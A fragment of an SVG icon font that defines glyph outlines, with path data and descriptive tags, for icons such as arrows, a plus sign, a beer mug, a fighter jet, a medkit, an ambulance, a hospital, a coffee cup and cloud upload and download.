<glyph unicode="&#xf100;" d="M 156.75,40q0-3.25 -2.5-5.75l-12.5-12.5q-2.5-2.5 -5.75-2.5t-5.75,2.5l-116.5,116.5q-2.5,2.5 -2.5,5.75t 2.5,5.75l 116.5,116.5q 2.5,2.5 5.75,2.5t 5.75-2.5l 12.5-12.5q 2.5-2.5 2.5-5.75t-2.5-5.75l-98.25-98.25l 98.25-98.25q 2.5-2.5 2.5-5.75zM 252.75,40q0-3.25 -2.5-5.75l-12.5-12.5q-2.5-2.5 -5.75-2.5t-5.75,2.5l-116.5,116.5q-2.5,2.5 -2.5,5.75 t 2.5,5.75l 116.5,116.5q 2.5,2.5 5.75,2.5t 5.75-2.5l 12.5-12.5q 2.5-2.5 2.5-5.75t-2.5-5.75l-98.25-98.25l 98.25-98.25q 2.5-2.5 2.5-5.75z" horiz-adv-x="256" data-tags="double-angle-left, left, arrows" />
<glyph unicode="&#xf0fe;" d="M 320,144l0,32 q0,6.5 -4.75,11.25t-11.25,4.75l-80,0 l0,80 q0,6.5 -4.75,11.25t-11.25,4.75l-32,0 q-6.5,0 -11.25-4.75t-4.75-11.25l0-80 l-80,0 q-6.5,0 -11.25-4.75t-4.75-11.25l0-32 q0-6.5 4.75-11.25t 11.25-4.75l 80,0 l0-80 q0-6.5 4.75-11.25t 11.25-4.75l 32,0 q 6.5,0 11.25,4.75t 4.75,11.25l0,80 l 80,0 q 6.5,0 11.25,4.75t 4.75,11.25zM 384,280l0-240  q0-29.75 -21.125-50.875t-50.875-21.125l-240,0 q-29.75,0 -50.875,21.125t-21.125,50.875l0,240 q0,29.75 21.125,50.875t 50.875,21.125l 240,0 q 29.75,0 50.875-21.125t 21.125-50.875z" horiz-adv-x="384" data-tags="plus-sign, add, sum" />
<glyph unicode="&#xf0fd;" d="M 320,48l0,224 q0,6.5 -4.75,11.25t-11.25,4.75l-32,0 q-6.5,0 -11.25-4.75t-4.75-11.25l0-80 l-128,0 l0,80 q0,6.5 -4.75,11.25t-11.25,4.75l-32,0 q-6.5,0 -11.25-4.75t-4.75-11.25l0-224 q0-6.5 4.75-11.25t 11.25-4.75l 32,0 q 6.5,0 11.25,4.75t 4.75,11.25l0,80 l 128,0 l0-80 q0-6.5 4.75-11.25t 11.25-4.75l 32,0 q 6.5,0 11.25,4.75t 4.75,11.25zM 384,280l0-240  q0-29.75 -21.125-50.875t-50.875-21.125l-240,0 q-29.75,0 -50.875,21.125t-21.125,50.875l0,240 q0,29.75 21.125,50.875t 50.875,21.125l 240,0 q 29.75,0 50.875-21.125t 21.125-50.875z" horiz-adv-x="384" data-tags="h-sign" />
<glyph unicode="&#xf0fc;" d="M 160,160l0,96 l-64,0 l0-64 q0-13.25 9.375-22.625t 22.625-9.375l 32,0 zM 416,48l0-48 l-288,0 l0,48 l 32,48l-32,0 q-39.75,0 -67.875,28.125t-28.125,67.875l0,80 l-16,16l 8,32l 120,0 l 8,32l 240,0 l 8-48l-16-8l0-200 z" horiz-adv-x="416" data-tags="beer, mug, drink" />
<glyph unicode="&#xf0fb;" d="M 480,144q-0.25-8 -72-24l-88-8l-56-16l-16,0 l-73.25-88l 17.25,0 q 6.5,0 11.25-1.125t 4.75-2.875t-4.75-2.875t-11.25-1.125l-24,0 l-40,0 l-16,0 l0,8 l 16,0 l0,104 l-40,0 l-48-56l-24,0 l-8,8l0,48 l 8,0 l0,8 l 32,0 l0,2 l-48,6l0,32 l 48,6l0,2 l-32,0 l0,8 l-8,0 l0,48 l 8,8l 24,0 l 48-56l 40,0 l0,104 l-16,0 l0,8 l 16,0 l 40,0 l 24,0  q 6.5,0 11.25-1.125t 4.75-2.875t-4.75-2.875t-11.25-1.125l-17.25,0 l 73.25-88l 16,0 l 56-16l 88-8q 65.25-14.5 71.75-23.25z" horiz-adv-x="480" data-tags="fighter-jet, pane, aircraft" />
<glyph unicode="&#xf0fa;" d="M 320,104l0,48 q0,3.5 -2.25,5.75t-5.75,2.25l-56,0 l0,56 q0,3.5 -2.25,5.75t-5.75,2.25l-48,0 q-3.5,0 -5.75-2.25t-2.25-5.75l0-56 l-56,0 q-3.5,0 -5.75-2.25t-2.25-5.75l0-48 q0-3.5 2.25-5.75t 5.75-2.25l 56,0 l0-56 q0-3.5 2.25-5.75t 5.75-2.25l 48,0 q 3.5,0 5.75,2.25t 2.25,5.75l0,56 l 56,0 q 3.5,0 5.75,2.25t 2.25,5.75zM 160,288l 128,0 l0,32 l-128,0 l0-32 zM 64,288l0-320 l-8,0  q-23,0 -39.5,16.5t-16.5,39.5l0,208 q0,23 16.5,39.5t 39.5,16.5l 8,0 zM 360,288l0-320 l-272,0 l0,320 l 40,0 l0,40 q0,10 7,17t 17,7l 144,0 q 10,0 17-7t 7-17l0-40 l 40,0 zM 448,232l0-208 q0-23 -16.5-39.5t-39.5-16.5l-8,0 l0,320 l 8,0 q 23,0 39.5-16.5t 16.5-39.5z" data-tags="medkit, medicine, kit" />
<glyph unicode="&#xf0f9;" d="M 160,32q0,13.25 -9.375,22.625t-22.625,9.375t-22.625-9.375t-9.375-22.625t 9.375-22.625t 22.625-9.375t 22.625,9.375t 9.375,22.625zM 64,160l 96,0 l0,64 l-39.5,0 q-3.5-0.5 -5.5-2.25l-48.75-48.75q-1.75-3 -2.25-5.5l0-7.5 zM 384,32q0,13.25 -9.375,22.625t-22.625,9.375t-22.625-9.375t-9.375-22.625t 9.375-22.625t 22.625-9.375 t 22.625,9.375t 9.375,22.625zM 416,200l0,48 q0,3.5 -2.25,5.75t-5.75,2.25l-56,0 l0,56 q0,3.5 -2.25,5.75t-5.75,2.25l-48,0 q-3.5,0 -5.75-2.25t-2.25-5.75l0-56 l-56,0 q-3.5,0 -5.75-2.25t-2.25-5.75l0-48 q0-3.5 2.25-5.75t 5.75-2.25l 56,0 l0-56 q0-3.5 2.25-5.75t 5.75-2.25l 48,0 q 3.5,0 5.75,2.25t 2.25,5.75l0,56 l 56,0 q 3.5,0 5.75,2.25t 2.25,5.75zM 480,336l0-288  q0-6.5 -4.75-11.25t-11.25-4.75l-48,0 q0-26.5 -18.75-45.25t-45.25-18.75t-45.25,18.75t-18.75,45.25l-96,0 q0-26.5 -18.75-45.25t-45.25-18.75t-45.25,18.75t-18.75,45.25l-32,0 q-6.5,0 -11.25,4.75t-4.75,11.25t 4.75,11.25t 11.25,4.75l0,104 q0,6.5 3.25,14.5t 8,12.75l 49.5,49.5q 4.75,4.75 12.75,8t 14.5,3.25l 40,0 l0,80 q0,6.5 4.75,11.25t 11.25,4.75l 288,0 q 6.5,0 11.25-4.75t 4.75-11.25z" horiz-adv-x="480" data-tags="ambulance" />
<glyph unicode="&#xf0f8;" d="M 96,56l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 96,120l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625z M 160,120l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 96,184l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625z M 288,56l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 224,120l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625z M 160,184l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 288,120l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625z M 224,184l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 288,184l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625z M 224-32l 96,0 l0,288 l-64,0 l0-8 q0-10 -7-17t-17-7l-112,0 q-10,0 -17,7t-7,17l0,8 l-64,0 l0-288 l 96,0 l0,56 q0,3.25 2.375,5.625t 5.625,2.375l 80,0 q 3.25,0 5.625-2.375t 2.375-5.625l0-56 zM 224,264l0,80 q0,3.25 -2.375,5.625t-5.625,2.375l-16,0 q-3.25,0 -5.625-2.375t-2.375-5.625l0-24 l-32,0 l0,24 q0,3.25 -2.375,5.625 t-5.625,2.375l-16,0 q-3.25,0 -5.625-2.375t-2.375-5.625l0-80 q0-3.25 2.375-5.625t 5.625-2.375l 16,0 q 3.25,0 5.625,2.375t 2.375,5.625l0,24 l 32,0 l0-24 q0-3.25 2.375-5.625t 5.625-2.375l 16,0 q 3.25,0 5.625,2.375t 2.375,5.625zM 352,272l0-320 q0-6.5 -4.75-11.25t-11.25-4.75l-320,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,320 q0,6.5 4.75,11.25t 11.25,4.75l 80,0  l0,72 q0,10 7,17t 17,7l 112,0 q 10,0 17-7t 7-17l0-72 l 80,0 q 6.5,0 11.25-4.75t 4.75-11.25z" horiz-adv-x="352" data-tags="hospital, building" />
<glyph unicode="&#xf0f7;" d="M 96,56l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 96,120l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625z M 160,120l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 96,184l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625z M 288,56l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 224,120l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625z M 160,184l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 96,248l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625z M 288,120l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 224,184l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625z M 160,248l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 96,312l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625z M 288,184l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 224,248l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625z M 160,312l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 288,248l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625z M 224,312l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 288,312l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625z M 224-32l 96,0 l0,384 l-288,0 l0-384 l 96,0 l0,56 q0,3.25 2.375,5.625t 5.625,2.375l 80,0 q 3.25,0 5.625-2.375t 2.375-5.625l0-56 zM 352,368l0-416 q0-6.5 -4.75-11.25t-11.25-4.75l-320,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,416 q0,6.5 4.75,11.25t 11.25,4.75l 320,0 q 6.5,0 11.25-4.75t 4.75-11.25z" horiz-adv-x="352" data-tags="building, office, work" />
<glyph unicode="&#xf0f6;" d="M 256,88l0-16 q0-3.5 -2.25-5.75t-5.75-2.25l-176,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,16 q0,3.5 2.25,5.75t 5.75,2.25l 176,0 q 3.5,0 5.75-2.25t 2.25-5.75zM 256,152l0-16 q0-3.5 -2.25-5.75t-5.75-2.25l-176,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,16 q0,3.5 2.25,5.75t 5.75,2.25l 176,0 q 3.5,0 5.75-2.25t 2.25-5.75zM 32,0l 256,0 l0,192 l-104,0 q-10,0 -17,7t-7,17l0,104 l-128,0 l0-320 z M 192,224l 94,0 q-2.5,7.25 -5.5,10.25l-78.25,78.25q-3,3 -10.25,5.5l0-94 zM 320,216l0-224 q0-10 -7-17t-17-7l-272,0 q-10,0 -17,7t-7,17l0,336 q0,10 7,17t 17,7l 160,0 q 10,0 22-5t 19-12l 78-78q 7-7 12-19t 5-22z" horiz-adv-x="320" data-tags="file-alt, paper, document" />
<glyph unicode="&#xf0f5;" d="M 160,368l0-160 q0-15.25 -8.875-27.75t-23.125-17.5l0-194.75 q0-13 -9.5-22.5t-22.5-9.5l-32,0 q-13,0 -22.5,9.5t-9.5,22.5l0,194.75 q-14.25,5 -23.125,17.5t-8.875,27.75l0,160 q0,6.5 4.75,11.25t 11.25,4.75t 11.25-4.75t 4.75-11.25l0-104 q0-6.5 4.75-11.25t 11.25-4.75t 11.25,4.75t 4.75,11.25l0,104 q0,6.5 4.75,11.25t 11.25,4.75t 11.25-4.75t 4.75-11.25l0-104 q0-6.5 4.75-11.25 t 11.25-4.75t 11.25,4.75t 4.75,11.25l0,104 q0,6.5 4.75,11.25t 11.25,4.75t 11.25-4.75t 4.75-11.25zM 352,368l0-400 q0-13 -9.5-22.5t-22.5-9.5l-32,0 q-13,0 -22.5,9.5t-9.5,22.5l0,128 l-56,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,200 q0,33 23.5,56.5t 56.5,23.5l 64,0 q 6.5,0 11.25-4.75t 4.75-11.25z" horiz-adv-x="352" data-tags="food, lunch, fork, knife, dinner" />
<glyph unicode="&#xf0f4;" d="M 416,224q0,20 -14,34t-34,14l-16,0 l0-96 l 16,0 q 20,0 34,14t 14,34zM0,32l 448,0 q0-26.5 -18.75-45.25t-45.25-18.75l-320,0 q-26.5,0 -45.25,18.75t-18.75,45.25zM 464,224q0-39.75 -28.125-67.875t-67.875-28.125l-16,0 l0-8 q0-23 -16.5-39.5t-39.5-16.5l-176,0 q-23,0 -39.5,16.5t-16.5,39.5l0,184 q0,6.5 4.75,11.25 t 11.25,4.75l 288,0 q 39.75,0 67.875-28.125t 28.125-67.875z" horiz-adv-x="480" data-tags="coffee, break, drink, cup, tea" />
<glyph unicode="&#xf0f3;" d="M 212-40q0,4 -4,4q-14.75,0 -25.375,10.625t-10.625,25.375q0,4 -4,4t-4-4q0-18.25 12.875-31.125t 31.125-12.875q 4,0 4,4zM 416,32q0-13 -9.5-22.5t-22.5-9.5l-112,0 q0-26.5 -18.75-45.25t-45.25-18.75t-45.25,18.75t-18.75,45.25l-112,0 q-13,0 -22.5,9.5t-9.5,22.5q 47.5,40.25 71.75,99.375t 24.25,124.625 q0,41.25 24,65.5t 66,29.25q-2,4.5 -2,9.25q0,10 7,17t 17,7t 17-7t 7-17q0-4.75 -2-9.25q 42-5 66-29.25t 24-65.5q0-65.5 24.25-124.625t 71.75-99.375z" horiz-adv-x="416" data-tags="bell-alt, alarm, notification" />
<glyph unicode="&#xf0f2;" d="M 160,288l 128,0 l0,32 l-128,0 l0-32 zM 72,288l0-320 l-16,0 q-23,0 -39.5,16.5t-16.5,39.5l0,208 q0,23 16.5,39.5t 39.5,16.5l 16,0 zM 352,288l0-320 l-256,0 l0,320 l 32,0 l0,40 q0,10 7,17t 17,7l 144,0 q 10,0 17-7t 7-17l0-40 l 32,0 zM 448,232l0-208 q0-23 -16.5-39.5t-39.5-16.5l-16,0 l0,320 l 16,0 q 23,0 39.5-16.5 t 16.5-39.5z" data-tags="suitcase, briefcase, travel, vacation" />
<glyph unicode="&#xf0f1;" d="M 320,208q0,6.5 -4.75,11.25t-11.25,4.75t-11.25-4.75t-4.75-11.25t 4.75-11.25t 11.25-4.75t 11.25,4.75t 4.75,11.25zM 352,208q0-15.5 -8.875-27.75t-23.125-17.5l0-98.75 q0-39.75 -32.875-67.875t-79.125-28.125t-79.125,28.125t-32.875,67.875l0,33 q-41,5 -68.5,32t-27.5,63l0,128 q0,6.5 4.75,11.25t 11.25,4.75q 1.5,0 4-0.5q 4.25,7.5 11.75,12 t 16.25,4.5q 13.25,0 22.625-9.375t 9.375-22.625t-9.375-22.625t-22.625-9.375q-8.25,0 -16,4.5l0-100.5 q0-26.5 23.5-45.25t 56.5-18.75t 56.5,18.75t 23.5,45.25l0,100.5 q-7.75-4.5 -16-4.5q-13.25,0 -22.625,9.375t-9.375,22.625t 9.375,22.625t 22.625,9.375q 8.75,0 16.25-4.5t 11.75-12q 2.5,0.5 4,0.5q 6.5,0 11.25-4.75t 4.75-11.25l0-128 q0-36 -27.5-63 t-68.5-32l0-33 q0-26.5 23.5-45.25t 56.5-18.75t 56.5,18.75t 23.5,45.25l0,98.75 q-14.25,5.25 -23.125,17.5t-8.875,27.75q0,20 14,34t 34,14t 34-14t 14-34z" horiz-adv-x="352" data-tags="stethoscope" />
<glyph unicode="&#xf0f0;" d="M 96,48q0-6.5 -4.75-11.25t-11.25-4.75t-11.25,4.75t-4.75,11.25t 4.75,11.25t 11.25,4.75t 11.25-4.75t 4.75-11.25zM 352,32.75q0-30.25 -18.25-47.5t-48.5-17.25l-218.5,0 q-30.25,0 -48.5,17.25t-18.25,47.5q0,17 1.375,32.75t 6,34.5t 11.875,33.125t 20.25,25.75t 30,15.125q-5.5-13 -5.5-30l0-50.75 q-14.5-5 -23.25-17.5t-8.75-27.75q0-20 14-34t 34-14 t 34,14t 14,34q0,15.25 -8.875,27.75t-23.125,17.5l0,50.75 q0,15.5 6.25,23.25q 33-26 73.75-26t 73.75,26q 6.25-7.75 6.25-23.25l0-16 q-26.5,0 -45.25-18.75t-18.75-45.25l0-22.25 q-8-7.25 -8-17.75q0-10 7-17t 17-7t 17,7t 7,17q0,10.5 -8,17.75l0,22.25 q0,13 9.5,22.5t 22.5,9.5t 22.5-9.5t 9.5-22.5l0-22.25 q-8-7.25 -8-17.75q0-10 7-17 t 17-7t 17,7t 7,17q0,10.5 -8,17.75l0,22.25 q0,17 -8.625,31.875t-23.375,23.375q0,2.5 0.125,10.625t0,12t-0.625,10.375t-1.75,11.75t-3.25,10q 17-3.75 30-15.125t 20.25-25.75t 11.875-33.125t 6-34.5t 1.375-32.75zM 272,256q0-39.75 -28.125-67.875t-67.875-28.125t-67.875,28.125t-28.125,67.875t 28.125,67.875t 67.875,28.125 t 67.875-28.125t 28.125-67.875z" horiz-adv-x="352" data-tags="user-md, medic, doctor" />
<glyph unicode="&#xf0ee;" d="M 320,168q0,3.5 -2.25,5.75l-88,88q-2.25,2.25 -5.75,2.25t-5.75-2.25l-87.75-87.75q-2.5-3 -2.5-6q0-3.5 2.25-5.75t 5.75-2.25l 56,0 l0-88 q0-3.25 2.375-5.625t 5.625-2.375l 48,0 q 3.25,0 5.625,2.375t 2.375,5.625l0,88 l 56,0 q 3.25,0 5.625,2.375t 2.375,5.625zM 480,96q0-39.75 -28.125-67.875t-67.875-28.125l-272,0  q-46.25,0 -79.125,32.875t-32.875,79.125q0,32.5 17.5,60t 47,41.25q-0.5,7.5 -0.5,10.75q0,53 37.5,90.5t 90.5,37.5q 39,0 71.375-21.75t 47.125-57.75q 17.75,15.5 41.5,15.5q 26.5,0 45.25-18.75t 18.75-45.25q0-19 -10.25-34.5q 32.5-7.75 53.375-33.875t 20.875-59.625z" horiz-adv-x="480" data-tags="cloud-upload, upload, load, open" />
<glyph unicode="&#xf0ed;" d="M 320,152q0,3.5 -2.25,5.75t-5.75,2.25l-56,0 l0,88 q0,3.25 -2.375,5.625t-5.625,2.375l-48,0 q-3.25,0 -5.625-2.375t-2.375-5.625l0-88 l-56,0 q-3.25,0 -5.625-2.375t-2.375-5.625q0-3.5 2.25-5.75l 88-88q 2.25-2.25 5.75-2.25t 5.75,2.25l 87.75,87.75q 2.5,3 2.5,6zM 480,96q0-39.75 -28.125-67.875t-67.875-28.125l-272,0  q-46.25,0 -79.125,32.875t-32.875,79.125q0,32.5 17.5,60t 47,41.25q-0.5,7.5 -0.5,10.75q0,53 37.5,90.5t 90.5,37.5q 39,0 71.375-21.75t 47.125-57.75q 17.75,15.5 41.5,15.5q 26.5,0 45.25-18.75t 18.75-45.25q0-19 -10.25-34.5q 32.5-7.75 53.375-33.875t 20.875-59.625z" horiz-adv-x="480" data-tags="cloud-download, download, store, save" />
<glyph unicode="&#xf0ec;" d="M 448,88l0-48 q0-3.25 -2.375-5.625t-5.625-2.375l-344,0 l0-48 q0-3.25 -2.375-5.625t-5.625-2.375q-3,0 -6,2.5l-79.75,80q-2.25,2.25 -2.25,5.5q0,3.5 2.25,5.75l 80,80q 2.25,2.25 5.75,2.25q 3.25,0 5.625-2.375t 2.375-5.625l0-48 l 344,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 448,224q0-3.5 -2.25-5.75l-80-80q-2.25-2.25 -5.75-2.25 q-3.25,0 -5.625,2.375t-2.375,5.625l0,48 l-344,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,48 q0,3.25 2.375,5.625t 5.625,2.375l 344,0 l0,48 q0,3.5 2.25,5.75t 5.75,2.25q 3,0 6-2.5l 79.75-79.75q 2.25-2.25 2.25-5.75z" data-tags="exchange, transfer, tab, traffic" />
<glyph unicode="&#xf0eb;" d="M 184,240q0-3.25 -2.375-5.625t-5.625-2.375t-5.625,2.375t-2.375,5.625q0,11.5 -13.5,17.75t-26.5,6.25q-3.25,0 -5.625,2.375t-2.375,5.625t 2.375,5.625t 5.625,2.375q 12.5,0 24.875-4t 21.75-13.5t 9.375-22.5zM 224,240q0,18 -8.625,33.5t-22.5,25.375t-30.75,15.5t-34.125,5.625t-34.125-5.625t-30.75-15.5t-22.5-25.375t-8.625-33.5 q0-25.25 17-45q 2.5-2.75 7.625-8.25t 7.625-8.25q 32-38.25 35.25-74.5l 57,0 q 3.25,36.25 35.25,74.5q 2.5,2.75 7.625,8.25t 7.625,8.25q 17,19.75 17,45zM 256,240q0-38.75 -25.75-67q-11.25-12.25 -18.625-21.75t-14.875-23.875t-8.5-26.875q 11.75-7 11.75-20.5q0-9.25 -6.25-16q 6.25-6.75 6.25-16q0-13 -11.25-20.25q 3.25-5.75 3.25-11.75 q0-11.5 -7.875-17.75t-19.375-6.25q-5-11 -15-17.5t-21.75-6.5t-21.75,6.5t-15,17.5q-11.5,0 -19.375,6.25t-7.875,17.75q0,6 3.25,11.75q-11.25,7.25 -11.25,20.25q0,9.25 6.25,16q-6.25,6.75 -6.25,16q0,13.5 11.75,20.5q-1,12.5 -8.5,26.875t-14.875,23.875t-18.625,21.75q-25.75,28.25 -25.75,67q0,24.75 11.125,46.125t 29.25,35.5t 41,22.25t 46.625,8.125 t 46.625-8.125t 41-22.25t 29.25-35.5t 11.125-46.125z" horiz-adv-x="256" data-tags="lightbulb, idea, tip" />
<glyph unicode="&#xf0ea;" d="M 192-32l 224,0 l0,160 l-104,0 q-10,0 -17,7t-7,17l0,104 l-96,0 l0-288 zM 256,328l0,16 q0,3.25 -2.375,5.625t-5.625,2.375l-176,0 q-3.25,0 -5.625-2.375t-2.375-5.625l0-16 q0-3.25 2.375-5.625t 5.625-2.375l 176,0 q 3.25,0 5.625,2.375t 2.375,5.625zM 320,160l 74.75,0 l-74.75,74.75l0-74.75 zM 448,128l0-168 q0-10 -7-17t-17-7 l-240,0 q-10,0 -17,7t-7,17l0,40 l-136,0 q-10,0 -17,7t-7,17l0,336 q0,10 7,17t 17,7l 272,0 q 10,0 17-7t 7-17l0-82 q 5.25-3.25 9-7l 102-102q 7-7 12-19t 5-22z" data-tags="paste, clipboard" />
<glyph unicode="&#xf0e9;" d="M 224,177l0-145 q0-26 -19-45t-45-19t-45,19t-19,45q0,6.5 4.75,11.25t 11.25,4.75t 11.25-4.75t 4.75-11.25q0-12.5 9.75-22.25t 22.25-9.75t 22.25,9.75t 9.75,22.25l0,145 q 8.25,2.75 16,2.75t 16-2.75zM 416,170.25q0-3.25 -2.375-5.625t-5.625-2.375q-2.75,0 -5.75,2.5q-12.25,11.5 -23.25,17.25t-25.5,5.75q-17,0 -32-9.25t-25.75-24.25 q-1.75-2.5 -4.375-7t-3.625-6q-2.75-4.25 -7-4.25q-4.5,0 -7.25,4.25q-1,1.5 -3.625,6t-4.375,7q-10.75,15 -25.625,24.25t-31.875,9.25t-31.875-9.25t-25.625-24.25q-1.75-2.5 -4.375-7t-3.625-6q-2.75-4.25 -7.25-4.25q-4.25,0 -7,4.25q-1,1.5 -3.625,6t-4.375,7q-10.75,15 -25.75,24.25t-32,9.25q-14.5,0 -25.5-5.75t-23.25-17.25 q-3-2.5 -5.75-2.5q-3.25,0 -5.625,2.375t-2.375,5.625q0,1.25 0.25,1.75q 11.25,45.75 43.125,79.875t 74.5,51.125t 90.125,17q 35,0 68.625-10t 61.625-28.375t 48.625-46.75t 28.875-62.875q 0.25-0.5 0.25-1.75zM 224,352l0-24.5 q-10.5,0.5 -16,0.5t-16-0.5l0,24.5 q0,6.5 4.75,11.25t 11.25,4.75t 11.25-4.75t 4.75-11.25z" horiz-adv-x="416" data-tags="umbrella, rainy" />
